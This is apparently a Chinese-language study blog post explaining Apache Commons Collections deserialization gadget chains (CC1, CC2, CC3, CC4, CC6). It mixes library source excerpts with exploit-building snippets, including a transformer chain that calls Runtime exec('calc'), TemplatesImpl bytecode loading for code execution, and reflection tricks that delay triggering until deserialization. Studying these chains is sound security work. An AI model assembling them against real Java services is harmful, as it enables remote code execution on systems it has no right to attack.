cc-一些容易混淆的点

Uncategorized
15k words

TransformMap调用了setValue(),但因为他的父类是AbstractInputCheckedMapDecorator其中的MapEntry继承AbstractMapEntryDecorator,而这个AbstractMapEntryDecorator实现了Map.entry部分,同时其子类MapEntry重写了setValue,所以TransformMap在Mapentry轮询的时候调用setValue调用的是他爹的

AnnotationInvocationHandler因为不是公共类,所以只能通过反射的形式获取而后实例化

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor TestConstructor = c.getDeclaredConstructor(Class.class,Map.class);
TestConstructor.setAccessible(true);
Object o = TestConstructor.newInstance(Target.class,TransformMap);

循环调用部分

1
2
3
Method getruntimemethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimemethod);

可能比较难理解的是InvokerTransformer里面这个部分

1
2
3
4
5
6
7
8
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

这里第一步先传入一个Runtime.class再反射获取getMethod方法,然后再通过invoke,这里iArgs传参的是("getRuntime,null"),相当于执行Class.getMethod("getRuntime",null),所以返回的是个getRuntimemethod

然后是第二个

1
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimemethod);

这一部分说白了就是getruntimemethod.invoke(null,null)

getruntimemethod是第一步返回的执行getRuntimemethod,这属于调用反射的invoke给它执行下就是,所以返回的是个Runtime


谁来调用ChainedTransformer

1
2
3
4
5
InvokerTransformer[] Testtransformers = new InvokerTransformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

这里ChainedTransformer我们写到了到TransformedMap.decorate(map,null,TestTransformer)

所以当最外层的AnnotationInvocationHandler实现类反序列化时候,ReadObject之中的MapEntry轮询在调用到memberValue.setValue()也就是调用我们给他的TransformedMapsetValue()

TransformedMap它的父类重写了setValue所以又会去调它TransformedMap.checkValue(Value)的时候会调用到他的valueTransformer.transform(value),这里valueTransformer就是我给他的ChainedTransformer

那自然也就调用了ChainedTransformer.Transformer(Value)


ChainedTransformer调用的时候需要输入value但他这里已经写死了是个AnnotationTypeMismatchExceptionProxy,我们如何将他ChainedTransformer数组最初输入执行的做一个Runtime

1
2
3
4
5
6
7
8
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}

首先看我们的最初的ChainTransformer

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

确实,Transformer数组保持如下写法在输入的时候会把AnnotationTypeMismatchExceptionProxy会通过

setValue->checkValue->valueTransformer.Transformer(Value)给传入,污染的执行数组的初始value。

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

所以这里数组中第一个我们需要添加一个,会无视传入的value并且可以满足在轮询执行的第一轮会返回Runtime.class的一个Transformer类。

所以我们引入了ConstantTransformer,他构造传入的Object,即便调用transform(value)对他传参,它返回的还是构造时候传入的Object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

所以我们可以通过在第一个使用ConstantTransformer(Runtime.class)来让AnnotationTypeMismatchExceptionProxy输入的setValue(Value)废掉,并使得第一个会直接返回Runtime.class以供后面的使用。


InvokerTransformer第一次调用时候获取的是method这里可能会比较绕

一开始想为什么这里不直接调用getRuntime,而是去调用getMethod让他返回getRuntimeMethod,主要还是Runtime的序列化问题,其次

InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},neew Object[]{"getRuntime",null})

因为,我们传入的是Runtime.class,进入之后cls相当于是Runtime.class.getClass()

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

cls当然是没有getRuntime()能被获取到

getMethod是有的,所以可以获取clsgetMethod然后反射执行相当于Runtime.class.getMethod("getRuntime",null)

所以返回一个getRuntimeMethod,之后再由其他几个InvokerTransformer往后执行。

差不多就这个意思

1
Method th = (Method) Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class).invoke(Runtime.class,new Object[]{"getRuntime",null});

getMethod套一个getMethod确实稍微有点绕,只要牢记getMethod的两个参,前一个是方法名,后一个是变量类型就行。

invoke也是同理,牢记前面是obj后面是传入的参就行。


另一条cc1

正向来说,前半部入口是AnnotationInvokcationHandler运行到memberValues.entrySet()再调用一个做动态代理类用的AnnotationInvokcationHandler

1
2
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //<-这里调用代理类的.entrySet()
String name = memberValue.getKey();

而这个代理类AnnotationInvokcationHandler又是去代理的lazymap的一个实现类,所以动态代理中memberValues就是lazymap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

我们要通过memberValues.entrySet()触发的invoke走到最后触发memberValues.get()

他这里要求传入的method也就是调用的方法,必须是空参调用才能走到我们目标的memberValues.get(member)

题外话:这里其实原本设计的是要传入注解方法的,所以才做的这些个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member); //<-因为这一个是动态代理,所以走到这里能调用LazyMap.get()

中间相较于第一个cc1区别是用lazyMap替换了TransformedMap往后的都是一样,用的lazyMap.get()中会调用factory.transform()

1
2
3
4
5
6
7
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}

再简单捋一下这条链子,先是有了LazyMap.get()再往上走发现了AnnotationInvokcationHandlerinvoke里有get()

所以也就说明AnnotationInvokcationHandler在作为LazyMap的动态代理调用方法的时候可以执行到LazyMapget

但是这里有个if导致需要动态代理在执行无参调用方法才可以走到get()

巧合的是他AnnotationInvokcationHandler本身ReadObject的时候就会调用一个memberValues.entrySet()就省得再去找别的ReadObject的了。

所以我们就可以新建一个AnnotationInvokcationHandler1作为LazyMap的动态代理

而后再新建一个正常的AnnotationInvokcationHandler2把上一个AnnotationInvokcationHandler1塞进去

AnnotationInvokcationHandler2正常序列化

再反序列化的时候就readObject->.entry()->invoke->.get(Value)->.transformer(Value)后面就和一开始那条链一样了


cc6为什么Lazymap需要处理一下删除掉其中mapkey

因为我们在TiedMaoEntry将其putHashmap的时候,会触发hashcode()

1
2
3
TiedMapEntry ti = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> hp = new HashMap<>();
hp.put(ti,"asd");

最终走到Lazymap这里,并把外部的TiedMapEntryvalue最终作为keyput给lazymapmap当中

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) { // <-这里获取不到这个key才可以
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

所以当触发反序列化的时候我们的put时候lazymap中的keyvalue会下面判True也就自然调用不了transform

1
if (map.containsKey(key) == false)

解决访问这里两种

1.lazymap.remove(TiedMapEntry传入的value),让lazymap这里map中的table[0]变为空

2.修改掉这个键值对,让他换成别的反正key别和TiedMapEntry传入的value一样就行(还是推荐第一种 我比较闲才会用这种)

web1


cc3的过程

1
InstantiateTransformer(paramstype,params) -> transformer(TrAXFilter.class) -> TrAXFilter(tp) -> .newTransformer() -> TemplatesImpl.newTransformer() -> .getTransletInstance() -> .defineTransletClasses() -> loader.defineClass(_bytecodes) -> newInstance()

刚接触时其中容易不好理解的部分是InstantiateTransformer.transformer中实例化TrAXFilter的部分,所以需要正向简单过一下流程

TrAXFilter.class通过InstantiateTransformer.transformer中获取构造器,而后实例化

1
2
3
4
5
6
7
8
9
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes); //<-获取构造器
return con.newInstance(iArgs);//<- 实例化并传参

TrAXFilter实例化时被我们传入了TemplatesImpl

实例化时他会直接调用我们传入TemplatesImplnewTransformer方法

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

TemplatesImpl.newTransformer中会调用getTransletInstance

1
2
3
4
5
6
7
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

然后getTransletInstance中就会调用到TemplatesImpl自己defineTransletClasses方法来给_class赋值

1
2
3
4
5
6
7
    private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
....

通过我们反射修改读取test.class传入的_bytecodes二维数组,在这里获取类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//<-defineClass类加载
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//<- 检测传入类的父类是否为ABSTRACT_TRANSLET
_transletIndex = i;
...

又回到外层newTransformer对我们传入的class进行实例化最终实现rce

1
2
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...

这个因为最外层的InstantiateTransformer也是transform所以和cc6以及cc1的chain中的部分可以做替换

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
ins //<- new InstantiateTransformer
};

cc4流程和一些容易出问题的点

首先,cc4是commons.collections4

transformingComparamtor中的compare()方法会触发transform

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

往前走找到个PriorityQueue类的readObject->heapify()->siftDown()

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

往下走comparator不为空,调用siftDownUsingComparator()

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

siftDownUsingComparator里面就调用了comparator.compare()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

他那个comparator是构造方法里直接传的

1
2
3
4
5
6
7
8
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {

if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

所以可以替代像cc3这类链条的前半段

HashMap.readObject()->TideEntrymap.hashcode()->Lazymap.get()这部分

整个前半段流程就是PriovrityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator->TransformingComparator.compare()->transformer.transform()

比较容易出问题的是heapify()size>>>1的话才能进入siftDown方法

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

所以这里我直接用反射改的size为2就可,yso则是另一种方式

直接priorityQueue.add(1)加了两个,让他数组里有东西就行

然后它add()hashmap.put那个问题差不多,它自己又会调用priorityQueue.offer()里面又会调用siftDown最后就给执行了。

所以这里和cc6前半段一样处理就行,把执行路径中的一个给扬了,后面反射再给加回来就行。

所以可以直接选一个倒霉蛋比如TransformingComparator本来要传入的chaintansformers

1
2
3
4
5
6
ChainedTransformer chaintransformers = new ChainedTransformer(transformers);


TransformingComparator transformingComparator = new TransformingComparator<>(chaintransformers);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

直接改成ConstantTransformer(1)

1
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));

让链子执行到TransformingComparator.compare()时候调用个寂寞。


cc2的流程和一些小细节

cc2其实可以看作是cc4将链条的中段

chainTransformer.transfrom()->InstantiateTransformer.transform()->TrAXFilter()->TemplatesImpl.newTransformer()

这一大段替换为直接用InvokerTransformer().transfrom反射执行TemplatesImpl.newTransformer()

说白了就是想办法给InvokerTransformerTransform(value)传入TemplateImpl以反射调用的他的newTransfromer()

这里找到可以用PriorityQueue.addTemplatesImpl当作参数给传入,一直到链条最后让invokeTransformer.transform(value)来执行

下面的add会将传入的值添加到queue数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PriorityQueue

public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

这里给它用add传入观察一下参数怎么才能传到InvokerTransformer

web1

这里传入的在heapify中被以轮询的形式传入的siftDown()

web1

然后在这里又被传入到comparator.compare()

web1

调用到了TransformingComparator.compare()部分,可以看到最初传入的1作为参数被传入给了.transformer(obj1)

web1

既然能传过去就把1替换为TemplateImpl即可实现后续的反射调用newTransform()

所以这就是cc2cc4不同的地方,cc4中段和cc3一样是是依赖于类的实例化来最后实现调用TemplateImpl.newTransform()

cc2是直接用了cc4的前段直到触发transform的部分

而中段直接传参TemplateImplinvokerTransformer.transform()来反射调用TemplateImpl.newTransform()

当然,这也是得益于这个参数能传的下来..